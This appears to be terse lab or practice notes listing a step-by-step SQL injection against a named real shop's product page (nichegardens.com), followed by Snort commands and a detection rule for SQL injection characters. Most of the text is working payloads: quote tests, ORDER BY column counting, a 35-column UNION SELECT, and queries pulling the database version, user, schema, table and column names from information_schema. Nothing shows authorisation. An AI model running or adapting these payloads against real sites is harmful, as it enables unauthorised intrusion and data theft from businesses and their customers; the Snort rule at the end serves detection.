http://www.nichegardens.com/catalog/item.php?id=1911

<http://www.nichegardens.com/catalog/item.php?id=1911>

<http://www.nichegardens.com/catalog/item.php?id=1911>’

<http://www.nichegardens.com/catalog/item.php?id=1911> order by 1--

<http://www.nichegardens.com/catalog/item.php?id=1911> order by 2--

<http://www.nichegardens.com/catalog/item.php?id=1911> order by 35--

<http://www.nichegardens.com/catalog/item.php?id=1911> order by 36--

<http://www.nichegardens.com/catalog/item.php?id=-1911> union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35

<http://www.nichegardens.com/catalog/item.php?id=-1911> union select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35

<http://www.nichegardens.com/catalog/item.php?id=-1911> union select 1,group\_concat(schema\_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35 from information\_schema.schemata--

<http://www.nichegardens.com/catalog/item.php?id=-1911> union select 1,concat(database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,3--

<http://www.nichegardens.com/catalog/item.php?id=-1911> union select 1,group\_concat(user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--

<http://www.nichegardens.com/catalog/item.php?id=-1911> union select 1,group\_concat(table\_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35 from information\_schema.columns where table\_schema=database()--

<http://www.nichegardens.com/catalog/item.php?id=-1911> union select 1,group\_concat(column\_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35 from information\_schema.columns where table\_schema=database()--

snort:

cd\snort

cd bin

snort -I 2 -c c:\Snort\etc\snort.conf -A console

**alert tcp $EXTERNAL\_NET any -> $HTTP\_SERVERS $HTTP\_PORTS (msg:"SQL Injection - Paranoid"; flow:to\_server,established;uricontent:".pl";pcre:"/(\%27)|(\')|(\-\-)|(%23)|(#)/i"; classtype:Web-application-attack; sid:9099; rev:5;)**